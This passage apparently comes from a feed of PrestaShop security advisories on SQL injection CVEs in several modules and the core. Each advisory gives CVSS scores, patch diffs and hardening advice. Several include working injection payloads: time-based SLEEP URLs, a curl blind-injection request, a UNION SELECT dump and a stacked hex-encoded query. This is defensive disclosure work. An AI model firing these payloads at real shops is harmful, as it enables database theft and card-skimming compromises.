<p>Payload: 1’ AND (SELECT 6330 FROM (SELECT(SLEEP(5)))pQfS) AND ‘dpZV’=’dpZV</p>

<p>Exploit:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://localhost/modules/ndk_advanced_custom_fields/front_ajax.php?action=getRangePrice&amp;group=19&amp;width=1' AND (SELECT 6330 FROM (SELECT(SLEEP(5)))pQfS) AND 'dpZV'='dpZV&amp;height=1
</code></pre></div></div>

<h2 id="patch">Patch</h2>

<p>Prestashop provide a built in function for sanitising strings to be used in SQL queries called pSQL. This is the quick fix in situations like this but one must be sure to surround the parameter with quotes or the query will still be vulnerable to SQLi</p>

<p>For the function getDimensionPrice, the two problematics parameters, width and height were put in pSQL functions to be sanitised as shown :</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/models/ndkCf.php
</span><span class="gi">+++ b/models/ndkCf.php
</span><span class="p">@@ -698,589 +1369,1100 @@</span> class NdkCf extends ObjectModel

	public static function getDimensionPrice($field, $width, $height)
	{
<span class="err">...</span>
 			//on cherche la valeur exacte
 			$result = Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;getRow(
				'SELECT price FROM '._DB_PREFIX_.'ndk_customization_field_csv
						WHERE id_ndk_customization_field = '.(int)$field-&gt;id.'
<span class="gd">-						AND width = \''.$width.'\' AND height = \''.$height.'\'');
</span><span class="gi">+						AND width = \''.pSQL($width).'\' AND height = \''.pSQL($height).'\'');
</span> 			$item_price = str_replace(',', '.', $result['price']);

 			return $item_price;
		}
  	else
		{
 		$sql = 'SELECT price FROM '._DB_PREFIX_.'ndk_customization_field_csv
					WHERE id_ndk_customization_field = '.(int)$field-&gt;id.'
<span class="gd">-					ORDER BY ABS(width-'.$width.') ASC, ABS(height-'.$height.') ASC LIMIT 1';
</span><span class="gi">+			    AND width &gt;= '.(float)$width.' AND height &gt;= '.(float)$height.' LIMIT 1';
</span> 			$result = Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;executeS($sql);
			if($result)
</code></pre></div></div>

<p>But the function getRangePrice is still the same as the function wasn’t used :</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/models/ndkCf.php
</span><span class="gi">+++ b/models/ndkCf.php
</span><span class="p">@@ -698,589 +1369,1100 @@</span> class NdkCf extends ObjectModel

 	public static function getRangePrice($field, $width, $height)
 	{
 		$results = Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;executeS(
			'SELECT * FROM '._DB_PREFIX_.'ndk_customization_field_csv
				WHERE id_ndk_customization_field = '.(int)$field-&gt;id.'
<span class="gd">-				AND width &gt;= '.$width.' AND height &gt;= '.$height.'
-				ORDER BY width ASC');
</span><span class="gi">+				AND width &gt;= '.(float)$width.' AND height &gt;= '.(float)$height.'
+				ORDER BY width ASC');
</span>
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s <strong>highly recommended to upgrade the module</strong> to the latest version or to <strong>delete</strong> the module if unused.</li>
  <li>
    <ul>
      <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
    </ul>
  </li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>01-11-2022</td>
      <td>GitHub Poc</td>
    </tr>
    <tr>
      <td>26-07-2023</td>
      <td>Publish this advisory on <a href="https://security.friendsofpresta.org/">security</a></td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://github.com/daaaalllii/cve-s/blob/main/CVE-2022-40839/poc.txt">Source of this CVE</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2022-40839">National Vulnerability Database CVE-2022-40839</a></li>
</ul>]]></content><author><name>[&quot;Friends-Of-Presta.org&quot;]</name></author><category term="module" /><summary type="html"><![CDATA[In NdkAdvancedCustomizationFields module for PrestaShop before 4.1.7, an anonymous user can perform a SQL injection in affected versions. 4.1.7 fixed the vulnerability.]]></summary></entry><entry><title type="html">Chain: SQL Injection (CWE-89) and Eval Injection (CWE-95)</title><link href="https://security.friendsofpresta.org/core/2022/07/25/core-CVE-2022-31181.html" rel="alternate" type="text/html" title="Chain: SQL Injection (CWE-89) and Eval Injection (CWE-95)" /><published>2022-07-25T00:00:00+00:00</published><updated>2022-07-25T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/core/2022/07/25/core-CVE-2022-31181</id><content type="html" xml:base="https://security.friendsofpresta.org/core/2022/07/25/core-CVE-2022-31181.html"><![CDATA[<p>In versions from 1.6.0.10 and before 1.7.8.7 PrestaShop is subject to an SQL injection vulnerability which can be chained to call PHP’s Eval function on attacker input.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31181">CVE-2022-31181</a></li>
  <li><strong>Published at</strong>: 2022-07-25</li>
  <li><strong>Advisory source</strong>: PrestaShop</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: PrestaShop</li>
  <li><strong>Impacted release</strong>: &gt;=1.6.0.10, 1.7.8.7</li>
  <li><strong>Product author</strong>: PrestaShop</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a>,  <a href="https://cwe.mitre.org/data/definitions/95.html">CWE-95</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Eval injection possible if the shop is vulnerable to an SQL injection.
The problem is fixed in version 1.7.8.7. Users are advised to upgrade. Users unable to upgrade may delete the MySQL Smarty cache feature.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<p>According to <a href="https://build.prestashop-project.org/news/2022/major-security-vulnerability-on-prestashop-websites/">PrestaShop team</a>, this vulnerability has been exploited to add a malicious code.</p>

<p>“After the attackers successfully gained control of a shop, they injected a fake payment form on the front-office checkout page. In this scenario, shop customers might enter their credit card information on the fake form, and unknowingly send it to the attackers.”</p>

<h2 id="patch">Patch</h2>

<p>Delete the MySQL Smarty cache feature by removing these lines in the file config/smarty.config.inc.php lines 43-46 (PrestaShop 1.7) or 40-43 (PrestaShop 1.6):</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/config/smarty.config.inc.php
</span><span class="gi">+++ a/config/smarty.config.inc.php
</span><span class="p">@@ -40,10 +40,6 @@</span> $smarty-&gt;use_sub_dirs = true;
 $smarty-&gt;setConfigDir(_PS_SMARTY_DIR_.'configs');
 $smarty-&gt;caching = false;
 
<span class="gd">-if (Configuration::get('PS_SMARTY_CACHING_TYPE') == 'mysql') {
-    include _PS_CLASS_DIR_.'Smarty/SmartyCacheResourceMysql.php';
-    $smarty-&gt;caching_type = 'mysql';
-}
</span> $smarty-&gt;force_compile = (Configuration::get('PS_SMARTY_FORCE_COMPILE') == _PS_SMARTY_FORCE_COMPILE_) ? true : false;
 $smarty-&gt;compile_check = (Configuration::get('PS_SMARTY_FORCE_COMPILE') &gt;= _PS_SMARTY_CHECK_COMPILE_) ? true : false;
 $smarty-&gt;debug_tpl = _PS_ALL_THEMES_DIR_.'debug.tpl';

</code></pre></div></div>

<p>Or upgrade up to 1.7.8.7.</p>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Configure CSP headers (content security policies) by listing  externals domains allowed to load assets (such as js files) or being called in XHR transactions (Ajax).</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-hrgx-p36p-89q4">PrestaShop product repository</a></li>
  <li><a href="https://github.com/PrestaShop/PrestaShop/commit/b6d96e7c2a4e35a44e96ffbcdfd34439b56af804">Patch</a></li>
  <li><a href="https://build.prestashop-project.org/news/2022/major-security-vulnerability-on-prestashop-websites/">PrestaShop news</a></li>
</ul>]]></content><author><name>[&quot;Friends-Of-Presta.org&quot;]</name></author><category term="core" /><summary type="html"><![CDATA[In versions from 1.6.0.10 and before 1.7.8.7 PrestaShop is subject to an SQL injection vulnerability which can be chained to call PHP’s Eval function on attacker input.]]></summary></entry><entry><title type="html">[CVE-2022-31101] Invalid order neutralization in an SQL query in PrestaShop blockwishlist module</title><link href="https://security.friendsofpresta.org/modules/2022/06/24/blockwishlist.html" rel="alternate" type="text/html" title="[CVE-2022-31101] Invalid order neutralization in an SQL query in PrestaShop blockwishlist module" /><published>2022-06-24T00:00:00+00:00</published><updated>2022-06-24T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2022/06/24/blockwishlist</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2022/06/24/blockwishlist.html"><![CDATA[<p><strong>blockwishlist</strong> is a prestashop extension which adds a block containing the customer’s wishlists. In affected versions an authenticated customer can perform SQL injection. This issue is fixed in version 2.1.1. Users are advised to upgrade. There are no known workarounds for this issue.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31101">CVE-2022-31101</a></li>
  <li><strong>Published at</strong>: 2022-06-24</li>
  <li><strong>Advisory source</strong>: PrestaShop</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: blockwishlist</li>
  <li><strong>Impacted release</strong>: &gt;= 2.0.0 and &lt;= 2.1.1</li>
  <li><strong>Product author</strong>: PrestaShop</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: high (8.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>An authenticated customer can perform SQL injection.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: low</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<p>Technical and personal data leaks
Obtain admin access
Remove all data of the linked PrestaShop</p>

<h2 id="proof-of-concept">Proof of concept</h2>

<p>Based on this <a href="https://packetstormsecurity.com/files/168003/Prestashop-Blockwishlist-2.1.0-SQL-Injection.html">POC</a></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="s1">'http://website.com/module/blockwishlist/view?id_wishlist=1&amp;order=product.name%2C%20%28select%20case%20when%20%28id_customer%3D1%29%20then%20%28SELECT%20SLEEP%287%29%29%20else%201%20end%20from%20ps_customer%20where%20id_customer%3D1%29%3B%20--.asc'</span>
</code></pre></div></div>

<h2 id="patch-of-release-210-to-211">Patch of release 2.1.0 to 2.1.1</h2>

<p>Issue is fixed in 2.1.1 in this <a href="https://github.com/Prestashop/blockwishlist/commit/b3ec4b85af5fd73f74d55390b226d221298ca084">patch</a></p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/src/Search/WishListProductSearchProvider.php
</span><span class="gi">+++ b/src/Search/WishListProductSearchProvider.php
</span><span class="p">@@ -35,6 +35,7 @@</span> use PrestaShop\PrestaShop\Core\Product\Search\SortOrderFactory;
 use Product;
 use Shop;
 use Symfony\Component\Translation\TranslatorInterface;
<span class="gi">+use Validate;
</span> use WishList;
 
 /**
<span class="p">@@ -167,7 +168,10 @@</span> class WishListProductSearchProvider implements ProductSearchProviderInterface
 
         if ('products' === $type) {
             $sortOrder = $query-&gt;getSortOrder()-&gt;toLegacyOrderBy(true);
<span class="gd">-            $querySearch-&gt;orderBy($sortOrder . ' ' . $query-&gt;getSortOrder()-&gt;toLegacyOrderWay());
</span><span class="gi">+            $sortWay = $query-&gt;getSortOrder()-&gt;toLegacyOrderWay();
+            if (Validate::isOrderBy($sortOrder) &amp;&amp; Validate::isOrderWay($sortWay)) {
+                $querySearch-&gt;orderBy($sortOrder . ' ' . $sortWay);
+            }
</span>             $querySearch-&gt;limit((int) $query-&gt;getResultsPerPage(), ((int) $query-&gt;getPage() - 1) * (int) $query-&gt;getResultsPerPage());
             $products = $this-&gt;db-&gt;executeS($querySearch);
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>blockwishlist</strong> up to 2.1.1.</li>
</ul>

<p>Please note, blockwishlist is often forked to be customized.</p>

<ul>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://github.com/Prestashop/blockwishlist/security/advisories/GHSA-2jx3-5j9v-prpp">PrestaShop product repository</a></li>
  <li><a href="http://packetstormsecurity.com/files/168003/Prestashop-Blockwishlist-2.1.0-SQL-Injection.html">POC</a></li>
  <li><a href="https://github.com/PrestaShop/blockwishlist/commit/b3ec4b85af5fd73f74d55390b226d221298ca084">Patch</a></li>
</ul>]]></content><author><name>[&quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[blockwishlist is a prestashop extension which adds a block containing the customer’s wishlists. In affected versions an authenticated customer can perform SQL injection. This issue is fixed in version 2.1.1. Users are advised to upgrade. There are no known workarounds for this issue.]]></summary></entry><entry><title type="html">[CVE-2021-37538] Improper neutralization of SQL parameter in SmartBlog module from SmartDataSoft for PrestaShop</title><link href="https://security.friendsofpresta.org/module/2021/08/24/smartblog.html" rel="alternate" type="text/html" title="[CVE-2021-37538] Improper neutralization of SQL parameter in SmartBlog module from SmartDataSoft for PrestaShop" /><published>2021-08-24T00:00:00+00:00</published><updated>2021-08-24T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/module/2021/08/24/smartblog</id><content type="html" xml:base="https://security.friendsofpresta.org/module/2021/08/24/smartblog.html"><![CDATA[<p>Multiple SQL injection vulnerabilities in SmartDataSoft SmartBlog for PrestaShop before 4.0.6 allow a remote unauthenticated attacker to execute arbitrary SQL commands via the day, month, or year parameter to the <code class="language-plaintext highlighter-rouge">controllers/front/archive.php</code> archive controller, or the id_category parameter to the <code class="language-plaintext highlighter-rouge">controllers/front/category.php</code> category controller.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37538">CVE-2021-37538</a></li>
  <li><strong>Published at</strong>: 2021-08-24</li>
  <li><strong>Advisory source</strong>: <a href="https://blog.sorcery.ie/posts/smartblog_sqli/">sorcery.ie</a></li>
  <li><strong>Vendor</strong>: PrestaShop</li>
  <li><strong>Product</strong>: SmartBlog</li>
  <li><strong>Impacted release</strong>: &lt;4.0.6</li>
  <li><strong>Product author</strong>: SmartDataSoft</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>In this smartblog module for PrestaShop, sorcery.ie discovered two SQLis.</p>

<p>In controllers/front/archive.php we can see that the day, month and year parameters are passed to the getArchiveResult() function without sanitisation.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to the FRONT to exposed tokens and unlock admins’ ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://site.com/module/smartblog/archive?month<span class="o">=</span>1&amp;year<span class="o">=</span>1&amp;day<span class="o">=</span>1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,<span class="o">(</span>SELECT group_concat<span class="o">(</span>name<span class="o">)</span> FROM ps_module<span class="o">)</span>,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
</code></pre></div></div>

<h2 id="patch">Patch</h2>

<ul>
  <li>Quick <a href="https://github.com/smartdatasoft/smartblog/commit/dcec2f77d98841ec478ca678ee501606224961b4">to fix the issue with this patch</a>.</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>Upgrade the module to the most recent version</li>
  <li>Upgrade PrestaShop to the latest version to disable multiquery execution (separated by “;”) - be warned that this functionality WILL NOT protect your SHOP against injection SQL which uses the UNION clause to steal data.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>22-06-2021</td>
      <td>Issue discovered during a pentest</td>
    </tr>
    <tr>
      <td>13-07-2021</td>
      <td>Reported issue to SmartDataSoft</td>
    </tr>
    <tr>
      <td>15-07-2021</td>
      <td>SmartDataSoft patched the issue in version 4.0.6</td>
    </tr>
    <tr>
      <td>26-07-2021</td>
      <td>Number CVE-2021-37538 assigned</td>
    </tr>
    <tr>
      <td>21-08-2021</td>
      <td>Blog post released</td>
    </tr>
    <tr>
      <td>24-08-2021</td>
      <td>pajoda made a Nuclei template for this CVE</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://blog.sorcery.ie/posts/smartblog_sqli/">Source of this CVE</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-37538">National Vulnerability Database CVE-2021-37538</a></li>
</ul>]]></content><author><name>[&quot;Friends-Of-Presta.org&quot;]</name></author><category term="module" /><summary type="html"><![CDATA[Multiple SQL injection vulnerabilities in SmartDataSoft SmartBlog for PrestaShop before 4.0.6 allow a remote unauthenticated attacker to execute arbitrary SQL commands via the day, month, or year parameter to the controllers/front/archive.php archive controller, or the id_category parameter to the controllers/front/category.php category controller.]]></summary></entry><entry><title type="html">[CVE-2021-36748] Improper neutralization of SQL parameter in SimpleBlog module from Prestahome for PrestaShop</title><link href="https://security.friendsofpresta.org/module/2021/08/20/ph_simpleblog.html" rel="alternate" type="text/html" title="[CVE-2021-36748] Improper neutralization of SQL parameter in SimpleBlog module from Prestahome for PrestaShop" /><published>2021-08-20T00:00:00+00:00</published><updated>2021-08-20T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/module/2021/08/20/ph_simpleblog</id><content type="html" xml:base="https://security.friendsofpresta.org/module/2021/08/20/ph_simpleblog.html"><![CDATA[<p>An SQL Injection issue in the list controller of the Prestahome Blog (aka ph_simpleblog) module before 1.7.8 for Prestashop allows a remote attacker to extract data from the database via the sb_category parameter.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36748">CVE-2021-36748</a></li>
  <li><strong>Published at</strong>: 2021-08-20</li>
  <li><strong>Advisory source</strong>: <a href="https://blog.sorcery.ie/posts/simpleblog_sqli/">sorcery.ie</a></li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: ph_simpleblog</li>
  <li><strong>Impacted release</strong>: &lt; 1.7.8</li>
  <li><strong>Product author</strong>: Prestahome</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>This blog post details an SQLi sorcery.ie found in Blog for Prestashop (ph_simpleblog) by Prestahome.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy webskimmer to massively steal credit cards.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs</strong>. Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to the FRONT to exposed tokens and unlock admins’ ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
  <li>
    <h2 id="proof-of-concept">Proof of concept</h2>
  </li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://preprod.X/module/simpleblog/list?sb_category<span class="o">=</span>1%27%29%3BSELECT+0x73656c65637420736c656570283130293b+INTO+%40var_name%3Bselect+%40var_name%3Bprepare+stmt+from+%40var_name%3B+execute+stmt<span class="p">;</span><span class="nt">--</span>
</code></pre></div></div>

<h2 id="patch-for-version-177">Patch for version 1.7.7</h2>
<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/modules/ph_simpleblog/models/SimpleBlogCategory.php
</span><span class="gi">+++ b/modules/ph_simpleblog/models/SimpleBlogCategory.php
</span><span class="p">@@ -421 +421 @@</span> class SimpleBlogCategory extends ObjectModel
<span class="gd">-            $sql-&gt;where('l.link_rewrite = \'' . $rewrite . '\' AND l.id_lang = ' . (int) $id_lang);
</span><span class="gi">+            $sql-&gt;where('l.link_rewrite = \'' . pSQL($rewrite) . '\' AND l.id_lang = ' . (int) $id_lang);
</span><span class="p">@@ -423 +423 @@</span> class SimpleBlogCategory extends ObjectModel
<span class="gd">-            $sql-&gt;where('l.link_rewrite = \'' . $rewrite . '\'');
</span><span class="gi">+            $sql-&gt;where('l.link_rewrite = \'' . pSQL($rewrite) . '\'');
</span><span class="p">@@ -436 +436 @@</span> class SimpleBlogCategory extends ObjectModel
<span class="gd">-        $sql-&gt;where('l.id_simpleblog_category = ' . $id_simpleblog_category . ' AND l.id_lang = ' . (int) $id_lang);
</span><span class="gi">+        $sql-&gt;where('l.id_simpleblog_category = ' . (int) $id_simpleblog_category . ' AND l.id_lang = ' . (int) $id_lang);
</span><span class="p">@@ -461 +461 @@</span> class SimpleBlogCategory extends ObjectModel
<span class="gd">-        $tmp_location = _PS_TMP_IMG_DIR_ . 'ph_simpleblog_cat_' . $object-&gt;id . '.' . $object-&gt;cover;
</span><span class="gi">+        $tmp_location = _PS_TMP_IMG_DIR_ . 'ph_simpleblog_cat_' . (int) $object-&gt;id . '.' . $object-&gt;cover;
</span><span class="p">@@ -466 +466 @@</span> class SimpleBlogCategory extends ObjectModel
<span class="gd">-        $orig_location = _PS_MODULE_DIR_ . 'ph_simpleblog/covers_cat/' . $object-&gt;id . '.' . $object-&gt;cover;
</span><span class="gi">+        $orig_location = _PS_MODULE_DIR_ . 'ph_simpleblog/covers_cat/' . (int) $object-&gt;id . '.' . $object-&gt;cover;
</span>
--- a/modules/ph_simpleblog/models/SimpleBlogPost.php
<span class="gi">+++ b/modules/ph_simpleblog/models/SimpleBlogPost.php
</span><span class="p">@@ -291 +291 @@</span> class SimpleBlogPost extends ObjectModel
<span class="gd">-            $sql-&gt;where('sbp.id_simpleblog_post ' . $filter . ' (' . implode(',', $selected) . ')');
</span><span class="gi">+            $sql-&gt;where('sbp.id_simpleblog_post ' . ($filter == 'IN' ? 'IN' : 'NOT IN') . ' (' . implode(',', array_map('intval', $selected)) . ')');
</span><span class="p">@@ -413 +413 @@</span> class SimpleBlogPost extends ObjectModel
<span class="gd">-            $sql-&gt;where('sbp.id_simpleblog_post ' . $filter . ' (' . implode(',', $selected) . ')');
</span><span class="gi">+            $sql-&gt;where('sbp.id_simpleblog_post ' . ($filter == 'IN' ? 'IN' : 'NOT IN') . ' (' . implode(',', array_map('intval', $selected)) . ')');
</span><span class="p">@@ -504 +504 @@</span> class SimpleBlogPost extends ObjectModel
<span class="gd">-            $sql-&gt;where('l.link_rewrite = \'' . $rewrite . '\'');
</span><span class="gi">+            $sql-&gt;where('l.link_rewrite = \'' . pSQL($rewrite) . '\'');
</span><span class="p">@@ -507 +507 @@</span> class SimpleBlogPost extends ObjectModel
<span class="gd">-            $sql-&gt;where('l.link_rewrite = \'' . $rewrite . '\'');
</span><span class="gi">+            $sql-&gt;where('l.link_rewrite = \'' . pSQL($rewrite) . '\'');
</span><span class="p">@@ -521 +521 @@</span> class SimpleBlogPost extends ObjectModel
<span class="gd">-            $sql-&gt;where('l.link_rewrite = \'' . $rewrite . '\'');
